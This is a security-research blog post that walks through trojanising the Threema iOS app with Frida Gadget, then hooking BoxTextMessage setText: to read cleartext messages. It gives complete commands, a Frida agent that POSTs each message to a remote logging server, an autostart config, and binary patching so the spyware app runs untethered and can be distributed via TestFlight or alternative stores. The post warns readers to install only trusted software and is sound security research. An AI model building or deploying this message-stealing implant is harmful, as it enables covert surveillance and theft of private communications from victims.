Analyzing Threema Messages on iOS - Using the Dynamic Instrumentation Toolkit Frida

Analyzing Threema Messages on iOS

Using the Dynamic Instrumentation Toolkit Frida

Ian Boschung
by Ian Boschung
on April 10, 2025
time to read: 26 minutes

Keypoints

Threema cleartext messages

  • Only install software from trustworthy sources, even on closed down systems such as iOS
  • Using dynamic instrumentation it is possible to extract messages from a chat app
  • The messages can be sent to a webserver for logging
  • Using ahead of time patching of the binaries, the manipulated app can be launched without a computer attached

We recently stumbled upon an article from 8ksecresearch about using Frida to analyze messages in Signal and Telegram on iOS, so we were wondering if the same would be possible for the Swiss Messaging App Threema. Additionally, it would be nice to send the messages exfiltrated to a server under our control.

DISCLAIMER: This is not a vulnerability in Threema. For the message exfiltration to work, physical access to the device and knowledge of the passcode is necessary or the victim must install the manipulated App manually.

We will take the following steps:

The first step can be skipped if a jailbroken device is used. This post assumes basic knowledge of iOS Mobile Application Testing and the tool Frida.

Inject Frida Gadget into the App

If we want to be able to use a non-jailbroken device, which includes all recent devices and iOS versions, we must patch the App with the Frida Gadget to be able to use Frida’s dynamic instrumentation features. The tool objection offers a fully automated command to execute all necessary steps, but we will follow the manual route to have full control about all changes made in the App.

All apps on iOS include a code signature which ensures that no changes have been made. Since we want to change some of the binaries in the app, we will need to regenerate this code signature. The certificates and keys needed for this are called a provisioning profile and can be obtained form Apple. To get a valid provisioning profile, we create an empty xcode iOS app project and install it on the target device. Xcode will automatically register the device and generate a provisioning profile which we can later use to resign the patched App. We also need the ipa of Threema and the latest version of the Frida Gadget for iOS. Then we can execute the following commands to copz the Frida Gadget into the App Package and to insert a load instruction in the main binary:

> unzip Threema.ipa && cd Payload/Threema.app
> cp <location of frida gadget> Frameworks/FridaGadget.dylib
> insert_dylib —strip-codesig —inplace Frameworks/FridaGadget.dylib Threema
> cd ../../ && zip -r Threema_frida_gadget.ipa Payload

To resign the app ios-app-signer has proven useful, but other tools and commands exist. When we try to run the resigned app on our device, it crashes during startup with the following backtrace:

Error message after the app starts

Backtrace of faulting thread. Frida runs in its own thread and did not crash

The error message and the backtrace reveal that the error is not related to Frida, but instead to application group identifiers and the code singing process. Application group identifiers are part of the entitlements of an app, which are permissions bound to the provisioning profile and validated by Apple. Let’s have a look at the entitlements of the original app and the patched app:

Original entitlements of the Threema app:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>application-identifier</key>
        <string>xxxxxxxx.ch.threema.iapp</string>
        <key>aps-environment</key>
        <string>production</string>
        [ … ]
        <key>com.apple.developer.team-identifier</key>
        <string>xxxxxxxx</string>
        <key>com.apple.developer.usernotifications.communication</key>
        <true/>
        <key>com.apple.security.application-groups</key>
        <array>
            <string>group.ch.threema</string>
        </array>
        <key>keychain-access-groups</key>
        <array>
            <string>xxxxxxxx.ch.threema.iapp</string>
        </array>
    </dict>
</plist>

Entitlements when signing with our own provisioning profile:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>application-identifier</key>
        <string>HB5LB87MX5.ch.scip.threema.Threema</string>
        <key>com.apple.developer.team-identifier</key>
        <string>HB5LB87MX5</string>
        <key>get-task-allow</key>
        <true/>
        <key>keychain-access-groups</key>
        <array>
            <string>HB5LB87MX5.*</string>
        </array>
    </dict>
</plist>

We can see that Threema has access to the application group group.ch.threema and our patched app does not, which could be the reason that the App tries to create a file with a nil URL. We can add an app group to our provisioning profile entitlements in Xcode in the section Singing & Capabilities. As Apple prevents us from choosing the same as in the original Threema app, we have to use a different one such as group.scip.threema. Now that our app has access to an application group container, we need to tell it to use group.scip.threema instead of group.ch.threema. Searching in the project for the old application group string reveals that the it is stored in the Info.plist file, where we can change it. After resigning the package, it starts up correctly and we can transfer an existing Threema ID form the original App.

Search for a function which processes the messages in cleartext

To search for interesting functions, we use the tool objection. We start with a search for all classes containing the string message using the command ios hooking search classes message, which results in 1600 classes. Let’s try to be more specific searching for TextMessage and we get 26 results.

ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking search classes TextMessage  
[]
BoxTextMessage 
GroupTextMessage  
TextMessageEntity  
TextMessageEntity_TextMessage_  
NSKVONotifying_TextMessageEntity_TextMessage_  
Threema.ChatViewTextMessageTableViewCell  

Found 26 classes

We can investigate promising looking names by listing their class methods. The following are all methods for the class BoxTextMessage:

ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking list class_methods BoxTextMessage  
+ supportsSecureCoding  
- type
- body  
- flagShouldPush  
- isContentValid  
- allowSendingProfile  
- supportsForwardSecurity  
- minimumRequiredForwardSecurityVersion  
- quotedBody  
- initWithCoder:  
- encodeWithCoder:  
- text  
- setText:
- quotedMessageId  
- setQuotedMessageId:  
- .cxx_destruct  

Found 16 methods

After hooking the setText method, we see the messages in the console:

ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking watch method "-[BoxTextMessage setText:]" —dump-args  
(agent) Found selector at 0×102aacbbc as -[BoxTextMessage setText:]  
(agent) Registering job 750798. Type: watch-method for: -[BoxTextMessage setText:]  
ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # 
(agent) [750798] Called: -[BoxTextMessage setText:] 1 arguments(Kind: instance) (Super: AbstractMessage)  
(agent) [750798] Argument dump: [BoxTextMessage setText: Hello World!]  
(agent) [750798] Called: -[BoxTextMessage setText:] 1 arguments(Kind: instance) (Super: AbstractMessage)  
(agent) [750798] Argument dump: [BoxTextMessage setText: Hi]

Log the cleartext messages being sent and received

Now we want to automate this process with a Frida agent. We generate a new boilerplate agent using Frida-create -t agent. In the agent/index.ts file we can remove the default code and add an interceptor to the BoxTextMessage setText function, which logs the parameter. Note that the script needs to load the text from the third element in the args array, because when a class method is called in Objective-C, the first argument contains a pointer to the class instance and the second argument the method selector (a pointer to a string identifying the method). Because the parameter is not the string itself but a pointer to a string, the script creates an ObjC Object from the pointer.

import { log } from "./logger.js";  

const { BoxTextMessage } = ObjC.classes;

Interceptor.attach(BoxTextMessage['- setText:'].implementation, { onEnter: function (args) { text = new ObjC.Object(args[2]); log(`[ ${(new Date()).toISOString()} ]: ${text.toString()}`); } });

The following two commands are used to build the agent and inject it on the application currently in focus on a connected device:

> npm run build
> Frida -UF -l _agent.js
[]
    . . . . Connected to iPhone (id=3c8efcd76b83ba4576e453f7718a8e2a00ae661b)  
[ 2025-03-19T09:12:02.979Z ]: Test Message  
[ 2025-03-19T09:12:21.330Z ]: Test Answer  

Extend the script to send messages to a server under our control

It would be nice to have the script send the messages to a webserver, so the device must not be connected to a computer all the time. We adapt this code from github to suit our needs and send the message text in the body of a post request to a server of our choice. The server could then host a simple php-script which logs the messages to a text file or processes them otherwise.

import { log } from "./logger.js";

const { BoxTextMessage, NSString, NSMutableURLRequest, NSURL, NSURLConnection } = ObjC.classes;

// https://github.com/Frida/Frida/issues/1158

const sendTextToRemote = (text: any) => { var str = NSString['alloc']()['initWithString:'](`log_line=${text}`) ; var postData = str.dataUsingEncoding_(4); var len = str.length; var strLength = NSString['stringWithFormat:']('%d', len); var request = NSMutableURLRequest['alloc']()['init'](); var url = NSURL.URLWithString_('https://www.example.org/threema_log.php'); var method = NSString['alloc']()['initWithString:']('POST'); var httpF = NSString['alloc']()['initWithString:']('Content-Length'); var httpL = NSString['alloc']()['initWithString:']('Content-Type'); request.setURL_(url); request.setHTTPMethod_(method); request.setValue_forHTTPHeaderField_(strLength,httpF); request.setValue_forHTTPHeaderField_("application/x-www-form-urlencoded", httpL); request.setHTTPBody_(postData); var nil = ObjC.Object(ptr("0×0")); var d = NSURLConnection['sendSynchronousRequest:returningResponse:error:'](request,nil,nil); };

Interceptor.attach(BoxTextMessage['- setText:'].implementation, { onEnter: function (args) { const text = new ObjC.Object(args[2]); log(`[ ${(new Date()).toISOString()} ]: ${text.toString()}`); sendTextToRemote(text) } });

Screenshot from a sent and received message on the target phone

Screenshot of the two message being logged to a webserver

Bonus: Start the agent automatically

It would be nice to have the script start automatically every time the app is started. Frida Gadget can do this for us with it’s script mode. We copy the _agent file to the directory Payload/Threema.app/Frameworks and create the file FridaGadget.config in the same place. The following json in the config file will tell Frida to execute our agent on startup:

{ 
  "interaction": {
    "type": "script",
    "path": "_agent.js"
  }
}

There is one caveat: On a non-jailbroken device, a debugger needs to be attached when starting the app. When Frida hooks a function, it changes the code of this function inplace. When this happens, the code signature is no longer valid and iOS stops the execution of the app. When a debugger is attached during the launch of the app, this restriction is relaxed and the code signature not verified during runtime (the debugger can be disconnected once the app has launched). One solution to this problem is to patch the binary ahead of time. We change the functions that we want to intercept, so that the first command of the function is a jump to Frida. If hooked, Frida can execute the javascript agent and then jump back to the normal function execution. Doing this manually would be tedious, but there is a tool included in Frida called gum-graft which automates these tasks.

We already know which function we want to intercept (BoxTextMessage setText:), so we will only patch this one place in the code. To get the address of the function we can use the dyld_info command to read the LC_FUNCTION_STARTS table in the binary. gum-graft can then patch the binary at the found function offset 0×18bbc:

> xcrun dyld_info -function_starts Frameworks/ThreemaFramework.framework/ThreemaFramework | grep "BoxTextMessage setText"
        0×00018BBC  -[BoxTextMessage setText:]
> gum-graft Frameworks/ThreemaFramework.framework/ThreemaFramework —instrument=0×18bbc

In our case, this broke the binary somehow, as it was not able to execute anymore and the xcrun dyld_info command returned the error message dyld_info: 'ThreemaFramework_broken' chained fixups, seg_count does not match number of segments. We are not sure if this is because the binary was built with special compiler and linker flags or if it is a bug in Frida’s gum-graft tool. While looking at the ThreemaFramework binary with different tools and Ghidra, we made some observations and came up with a workaround: gum-graft adds two segments to the binary: __FRIDA_TEXT0 and __FRIDA_DATA0 and changes the function at offset 0x18bbc which is located in the section __TEXT,__text. Using this information and the tool LIEF.re with its python bindings, it is possible to copy the modified parts form the patched to the original binary.

>>> import lief
>>> original_binary = lief.parse("ThreemaFramework")
>>> patched_binary = lief.parse("ThreemaFramework_patched")
>>> print(patched_binary.segments[3])
Command: SEGMENT_64
Offset:  0×1138
Size:    0×98name=__FRIDA_TEXT0, vaddr=0×804000, vsize=0×4000 offset=0×7e4000, size=16384, max protection=5, init protection=5 flags=0
>>> print(patched_binary.segments[4])
Command: SEGMENT_64
Offset:  0×11d0
Size:    0×98name=__FRIDA_DATA0, vaddr=0×808000, vsize=0×4000 offset=0×7e8000, size=16384, max protection=3, init protection=3 flags=0
>>> original_binary.add(patched_binary.segments[3])
<lief._lief.MachO.SegmentCommand object at 0×10e48a1d0>
>>> original_binary.add(patched_binary.segments[4])
<lief._lief.MachO.SegmentCommand object at 0×10e48a290>
>>> original_binary.get_section("__text").content = patched_binary.get_section("__text").content
>>> original_binary.write("ThreemaFramework")

Before executing the patched binary we need to tell Frida that it can only instrument patched functions, which we can do in the FirdaGadget.config file by adding the option "code_signing": "required". With these changes, the app can be disconnected from the computer and debugger and launches just fine. This also means it is easier to distribute the app to other people, for example using Testflight or alternative app stores.

Conclusion

We have shown that it is possible to exfiltrate messages from chat apps such as Threema using dynamic instrumentation tools. We have further refined to send the messages to a webserver and to start the instrumentation automatically. By also patching the binary ahead of time, we created a version of Threema which can be distributed via Apple TestFlight or other alternative app stores. Together with a social engineering attack, it is plausible that this can be used to spy on a victim and it shows how important it is to only install software from trusted locations, even on closed-down systems such as iOS.

About the Author

Ian Boschung

Ian Boschung has been taking part in programming competitions since high school and discovered his passion for cyber security during his studies at the ETH with a Master in Electrical Engineering & Information Technology. He focuses on the security testing of web applications and Linux/Unix systems.

Links

You need support in such a project?

Our experts will get in contact with you!

×
Mobile Security Testing

Mobile Security Testing

Secure Mobile Applications and Communications, we deliver answers.

You want more?

Further articles available here

How to secure your online accounts

How to secure your online accounts

Ian Boschung

iOS Mobile Application Testing

iOS Mobile Application Testing

Ian Boschung

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here